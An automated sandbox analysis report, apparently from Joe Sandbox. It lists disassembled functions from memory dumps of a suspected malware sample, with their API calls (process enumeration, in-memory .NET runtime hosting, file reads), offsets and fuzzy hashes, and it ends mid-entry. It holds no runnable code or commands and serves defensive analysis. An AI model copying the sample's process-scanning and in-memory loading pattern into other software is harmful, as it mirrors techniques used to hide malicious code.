Instruction ID: caad1110258afdafcf25bd2fee8b6b0ca5e4a1e11ecf7ab5e2b21a18e9d2185a
Opcode Fuzzy Hash: f85e988b6dd063a92da9731562eb5832517575daa5fac298cc417a5ad7b44e7a
Instruction Fuzzy Hash: D611A3F260222267DF721A699C84B6B6F9D7F95B60F150210EC05E7255EBF0CD4187E1

Function 03641802 Relevance: 9.1, APIs: 6, Instructions: 51processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 03641825
_memset.LIBCMT ref: 0364183A
Process32FirstW.KERNEL32(00000000,?), ref: 03641854
lstrcmpiW.KERNEL32(?,?), ref: 03641869
Process32NextW.KERNEL32(00000000,0000022C), ref: 0364187B
CloseHandle.KERNEL32(00000000), ref: 0364188E

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memsetlstrcmpi
String ID:
API String ID: 2129496168-0
Opcode ID: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction ID: 6a15660728548d63d951fe20ae62d1e46475af5ff98d084b5c06264a34f004d8
Opcode Fuzzy Hash: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction Fuzzy Hash: CB110971A0121CAFEB50EFA4DDC8AAAB7BCBB09644F0440A9E605D6150DB78DF49CF60

Function 100017FE Relevance: 9.1, APIs: 6, Instructions: 51processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001821
_memset.LIBCMT ref: 10001836
Process32FirstW.KERNEL32(00000000,?), ref: 10001850
lstrcmpiW.KERNEL32(?,?), ref: 10001865
Process32NextW.KERNEL32(00000000,0000022C), ref: 10001877
CloseHandle.KERNEL32(00000000), ref: 1000188A

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memsetlstrcmpi
String ID:
API String ID: 2129496168-0
Opcode ID: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction ID: 48be9d534c6f7ae1162ece858ad7ff7c85b295601d6015b5433e981284ae0b0a
Opcode Fuzzy Hash: c5a9032939595190b898ad5427888ca66ad21a98790668b7f26350e3c35d2074
Instruction Fuzzy Hash: 7811F771A0021CABEB50DBA5DCC9AAEB7BCFB08684F1041A9E505D2150DB78EF48CB60

Function 0064D848 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0064D854

Part of subcall function 00645CA8: __getptd_noexit.LIBCMT ref: 00645CAB
Part of subcall function 00645CA8: __amsg_exit.LIBCMT ref: 00645CB8

__amsg_exit.LIBCMT ref: 0064D874
__lock.LIBCMT ref: 0064D884
InterlockedDecrement.KERNEL32(?), ref: 0064D8A1
_free.LIBCMT ref: 0064D8B4
InterlockedIncrement.KERNEL32(02882D00), ref: 0064D8CC

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: aca81ef20a275feb592d8cffede4921b8c8635df1298b82f26911984056ae1aa
Instruction ID: 0b45c1a15772a907cefcd076acac7bbd7ed1c52a3a15516d6d346479437fd9bc
Opcode Fuzzy Hash: aca81ef20a275feb592d8cffede4921b8c8635df1298b82f26911984056ae1aa
Instruction Fuzzy Hash: F0018031D00721AFEB65AB6598457AD7762BF00722F05501DF801AB2D1CB78AE81CBDA

Function 0364E063 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0364E06F

Part of subcall function 0364EA0D: __getptd_noexit.LIBCMT ref: 0364EA10
Part of subcall function 0364EA0D: __amsg_exit.LIBCMT ref: 0364EA1D

__amsg_exit.LIBCMT ref: 0364E08F
__lock.LIBCMT ref: 0364E09F
InterlockedDecrement.KERNEL32(?), ref: 0364E0BC
_free.LIBCMT ref: 0364E0CF
InterlockedIncrement.KERNEL32(10020670), ref: 0364E0E7

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 6b734a3c0f387b71fdf5a8eab89ac20fe8d4012c3391868757373a917024e17b
Instruction ID: d5953b0de6798e55a3c150653a282bfedc9535829701edd26541ab94e50706c2
Opcode Fuzzy Hash: 6b734a3c0f387b71fdf5a8eab89ac20fe8d4012c3391868757373a917024e17b
Instruction Fuzzy Hash: CA018439D00721EBE761EF749A8C75DB761BB04B20F184159E8206B790CB35D562CFE5

Function 1000E05F Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 1000E06B

Part of subcall function 1000EA09: __getptd_noexit.LIBCMT ref: 1000EA0C
Part of subcall function 1000EA09: __amsg_exit.LIBCMT ref: 1000EA19

__amsg_exit.LIBCMT ref: 1000E08B
__lock.LIBCMT ref: 1000E09B
InterlockedDecrement.KERNEL32(?), ref: 1000E0B8
_free.LIBCMT ref: 1000E0CB
InterlockedIncrement.KERNEL32(10020670), ref: 1000E0E3

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: e503b38899fc1a29c20fb0dfb269530488a74d22e43012d9d9e3d18c058fb6d0
Instruction ID: 44ac7dee67aa228faf62a7f712449706e970d0ab81b91fd94cc9ca9f82e1b276
Opcode Fuzzy Hash: e503b38899fc1a29c20fb0dfb269530488a74d22e43012d9d9e3d18c058fb6d0
Instruction Fuzzy Hash: 9E01ED359017A2EBFB50DF64888575EB7A0FB403D0F114109F80073A9ACBB4ADC2CB91

Function 00409B4C Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 232fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040E1B0: _memcpy_s.LIBCMT ref: 0040E1FE

Part of subcall function 00406F50: GetPrivateProfileStringW.KERNEL32(?,?,006FD638,?,00000104,?), ref: 00407008

CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,00000000,00000000), ref: 00409C2F
CloseHandle.KERNEL32(00000000), ref: 00409C3B

Strings

AppendConfig, xrefs: 00409B93
Append, xrefs: 00409B7F
5, xrefs: 00409D0E

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: CloseCreateFileHandlePrivateProfileString_memcpy_s
String ID: 5$Append$AppendConfig
API String ID: 79106774-350907740
Opcode ID: 2e6965b5df3f8dfad31b6edf045d025977a6940ae358be02456ca76c035c7470
Instruction ID: 06c66d2126c4b2e9dbee7dd30553911df190c32867d4856d531fbafd0fa60377
Opcode Fuzzy Hash: 2e6965b5df3f8dfad31b6edf045d025977a6940ae358be02456ca76c035c7470
Instruction Fuzzy Hash: F9919D70A01A419FD704CBACCC45B59B7B5BF86334B288399E0259B3E6DB35AD06CB54

Function 00405630 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00405696
std::_Xinvalid_argument.LIBCPMT ref: 004056B4
_memmove.LIBCMT ref: 00405710

Strings

string too long, xrefs: 00405691, 004056AF
.log, xrefs: 00405674, 0040570E

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: .log$string too long
API String ID: 2168136238-1238634221
Opcode ID: 3e742d8286ec06c4de4ca1d32461e9233f1f9db3feed9340cb34e9c00e48ac34
Instruction ID: ba63fa9c0fdd71f83f8827a9d30a3fd893f18fd041617f137f78797f6e50b4b2
Opcode Fuzzy Hash: 3e742d8286ec06c4de4ca1d32461e9233f1f9db3feed9340cb34e9c00e48ac34
Instruction Fuzzy Hash: A031C672304A048BC724CE68D99083BB3EAFFA57107600A3FE546976D0DB769D448FAD

Function 00404C10 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00404C2A

Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDB6
Part of subcall function 0065BDA1: __CxxThrowException@8.LIBCMT ref: 0065BDCB
Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDDC

std::_Xinvalid_argument.LIBCPMT ref: 00404C6A

Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD69
Part of subcall function 0065BD54: __CxxThrowException@8.LIBCMT ref: 0065BD7E
Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD8F

_memmove.LIBCMT ref: 00404CD6

Strings

invalid string position, xrefs: 00404C25
string too long, xrefs: 00404C65

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 1615890066-4289949731
Opcode ID: 8cf94c5e2ab0962ed1a99ecdfa077e95bb3b89be6ee8aaed87cfbdd882414eea
Instruction ID: 09d298bdaee62a18382292498f2c0fcfb31ea0c3e6b8f72883f7026a4db5369d
Opcode Fuzzy Hash: 8cf94c5e2ab0962ed1a99ecdfa077e95bb3b89be6ee8aaed87cfbdd882414eea
Instruction Fuzzy Hash: 373107733092149BD710DE5CE88092FF3AAEFE5725722463FF601DB290DA759C0187A8

Function 00401E20 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00401E3A

Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDB6
Part of subcall function 0065BDA1: __CxxThrowException@8.LIBCMT ref: 0065BDCB
Part of subcall function 0065BDA1: std::exception::exception.LIBCMT ref: 0065BDDC

std::_Xinvalid_argument.LIBCPMT ref: 00401E77

Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD69
Part of subcall function 0065BD54: __CxxThrowException@8.LIBCMT ref: 0065BD7E
Part of subcall function 0065BD54: std::exception::exception.LIBCMT ref: 0065BD8F

_memmove.LIBCMT ref: 00401ED8

Strings

invalid string position, xrefs: 00401E35
string too long, xrefs: 00401E72

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentstd::_$_memmove
String ID: invalid string position$string too long
API String ID: 1615890066-4289949731
Opcode ID: 0e9a4391b2991cbb6a130a05588d582def284d2fc4114e38a9ee751e6891da86
Instruction ID: e808f1c6e905dae4937ea79d9719188c59fe702de034b9e396e897d93512bda5
Opcode Fuzzy Hash: 0e9a4391b2991cbb6a130a05588d582def284d2fc4114e38a9ee751e6891da86
Instruction Fuzzy Hash: 4D31B4333002148BD7209A5CE880A6EF3AAEBA1765F21063FF951DB2E1C7759C4087E9

Function 004036A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(0073EFB8,ED2F953D), ref: 0040372B
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00403751

Part of subcall function 00403770: EnterCriticalSection.KERNEL32(0073EFB8,ED2F953D,?,?,?,?,?,?,00000000,0067E880,000000FF,?,00403623,0000000E), ref: 004037B0
Part of subcall function 00403770: LeaveCriticalSection.KERNEL32(?), ref: 0040387B

Strings

--------------------------------------, xrefs: 004036E9
Close the log file, xrefs: 004036DF
ps, xrefs: 00403731

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: CriticalSection$DeleteEnterIos_base_dtorLeavestd::ios_base::_
String ID: --------------------------------------$Close the log file$ps
API String ID: 116376633-1934898415
Opcode ID: 9fbfd5a8eb769af68ec267b9150065a5c97c4332b75b4e6040aa01bb64254486
Instruction ID: 2ecc6842cfc27d3fb62b39c050e3c8f357bb2fe6eebd545a536de204dcc3158d
Opcode Fuzzy Hash: 9fbfd5a8eb769af68ec267b9150065a5c97c4332b75b4e6040aa01bb64254486
Instruction Fuzzy Hash: C8113AB0A04209EFE740DF55DC45B1DBBA9EB4471AF00463FF514A73C1DBBC99048A19

Function 004021C0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004021EF
std::exception::exception.LIBCMT ref: 00402228

Part of subcall function 00638987: std::exception::_Copy_str.LIBCMT ref: 006389A2

__CxxThrowException@8.LIBCMT ref: 0040223D

Part of subcall function 00641C89: RaiseException.KERNEL32(00401FC3,?,ED2F953D,006FC518,00401FC3,?,0071C220,?,ED2F953D), ref: 00641CCB

std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00402244

Strings

bad locale name, xrefs: 00402221

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: std::_$Copy_strExceptionException@8Locinfo::_Locinfo_ctorLockitLockit::_RaiseThrowstd::exception::_std::exception::exception
String ID: bad locale name
API String ID: 73090415-1405518554
Opcode ID: e444c0e42f906dcbddc2727c2d64d1d77e0876490b577f2cd922582846f8c114
Instruction ID: 30edfebacd864dae4cba8a7ac67a3145ff47352efdd4f303b8bcfa43c8e20d87
Opcode Fuzzy Hash: e444c0e42f906dcbddc2727c2d64d1d77e0876490b577f2cd922582846f8c114
Instruction Fuzzy Hash: 7E11E2B1804788EFC710CF99C880AAAFBF8FB14300F408A6FF45593640D774A608CBA9

Function 004252E0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 31COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(0073EA24,00000000), ref: 00425303
CreateCompatibleDC.GDI32(00000000), ref: 00425315
SelectObject.GDI32(00000000,?), ref: 00425323

Strings

$s, xrefs: 004252F4
4s, xrefs: 0042530C

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: CompatibleCreateExchangeInterlockedObjectSelect
String ID: $s$4s
API String ID: 3535841225-2355125407
Opcode ID: af39fbe5fe79b01b79704621441017bdfe42500967b292a18b7a69577aee8cc6
Instruction ID: a008aa4b5d13991f7c075ac082593537b6fc1bb36f1273c765e7a505121c0516
Opcode Fuzzy Hash: af39fbe5fe79b01b79704621441017bdfe42500967b292a18b7a69577aee8cc6
Instruction Fuzzy Hash: CEF08972910A12BBD710CB59FC547A6B3E9FB0C321F941226E908D3510D774F8508794

Function 00425340 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SelectObject.GDI32(?,?), ref: 00425352
InterlockedExchange.KERNEL32(0073EA24,?), ref: 00425368
DeleteDC.GDI32(00000000), ref: 0042537A

Strings

$s, xrefs: 00425361
4s, xrefs: 00425371

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: DeleteExchangeInterlockedObjectSelect
String ID: $s$4s
API String ID: 3299122373-2355125407
Opcode ID: 792cba1ebb77e0113482869a1f5ac12fb08f8581ba4ba3c309dfc212fdb726b8
Instruction ID: 3b2aef00af78a40e224edbe4aca8cb49a209f71b646a823499b486a80b901ec0
Opcode Fuzzy Hash: 792cba1ebb77e0113482869a1f5ac12fb08f8581ba4ba3c309dfc212fdb726b8
Instruction Fuzzy Hash: CEE065B2600110ABDB149F59FC8CDA777ACFB483A47512266EC08D7316D775DC40CBA4

Function 036436F1 Relevance: 7.8, APIs: 5, Instructions: 270memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 036436F8
CLRCreateInstance.MSCOREE(1001A868,1001A858,?), ref: 03643712
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 03643816
SafeArrayUnaccessData.OLEAUT32(?), ref: 03643845
SysAllocString.OLEAUT32(?), ref: 036438F7

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: ArrayDataSafe$AccessAllocCreateH_prolog3InstanceStringUnaccess
String ID:
API String ID: 3666180938-0
Opcode ID: 0301c89c22ac4d9c38c143e6132587ca97202c0f191c60d530997892f8b3a8a7
Instruction ID: 024b56e2bc7086654a94fc92d5540d5c8b6ca19f8f9d041a57a929079d18c07c
Opcode Fuzzy Hash: 0301c89c22ac4d9c38c143e6132587ca97202c0f191c60d530997892f8b3a8a7
Instruction Fuzzy Hash: BAA105B5E00249AFDB00DFE4CD889AEBBB9FF49304F64456DE205EB251D7319A46CB50

Function 100036ED Relevance: 7.8, APIs: 5, Instructions: 270memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 100036F4
CLRCreateInstance.MSCOREE(1001A868,1001A858,?), ref: 1000370E
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 10003812
SafeArrayUnaccessData.OLEAUT32(?), ref: 10003841
SysAllocString.OLEAUT32(?), ref: 100038F3

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: ArrayDataSafe$AccessAllocCreateH_prolog3InstanceStringUnaccess
String ID:
API String ID: 3666180938-0
Opcode ID: 0301c89c22ac4d9c38c143e6132587ca97202c0f191c60d530997892f8b3a8a7
Instruction ID: 4c23db85811c87e403490fbd8194970e45e724dfb527cc97901a904ff1b24d94
Opcode Fuzzy Hash: 0301c89c22ac4d9c38c143e6132587ca97202c0f191c60d530997892f8b3a8a7
Instruction Fuzzy Hash: A6A14AB1E00249AFEB01CFE4CC889AEBBB9FF49344F508469E209EB251C7719D46CB50

Function 00410050 Relevance: 7.7, APIs: 5, Instructions: 156COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00410073
_memmove.LIBCMT ref: 004100A3

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _memmove_memset
String ID:
API String ID: 3555123492-0
Opcode ID: 764befa4bf2e314dd1f73a8c7f2d56884837161f691c1f005e55797678d8d090
Instruction ID: 8639b30e83a7fb94bc972bc6e8a9cd534288a9ebbad313e0c7a912072ab93095
Opcode Fuzzy Hash: 764befa4bf2e314dd1f73a8c7f2d56884837161f691c1f005e55797678d8d090
Instruction Fuzzy Hash: 67412B36A00608ABD720CF58D882AEBF799EF95314F14456FEC49C7301E6B6E994C394

Function 03653FEA Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 03653FF8

Part of subcall function 0364B4CF: __FF_MSGBANNER.LIBCMT ref: 0364B4E8
Part of subcall function 0364B4CF: __NMSG_WRITE.LIBCMT ref: 0364B4EF
Part of subcall function 0364B4CF: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 0364B514

_free.LIBCMT ref: 0365400B

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 81d65614e0b6db376356ac8b77cde15ec8576bf147855c74108ac56880b648b2
Instruction ID: 0d1b4b92bc1ea0e09a893ad7aae7928f22e741d4ca866384b747dbf65e55ff3a
Opcode Fuzzy Hash: 81d65614e0b6db376356ac8b77cde15ec8576bf147855c74108ac56880b648b2
Instruction Fuzzy Hash: E111C437C04714ABCB23EB75AC04A993B69AF842A4F3444BDFC498F250DE34C5C28754

Function 10013FE6 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 10013FF4

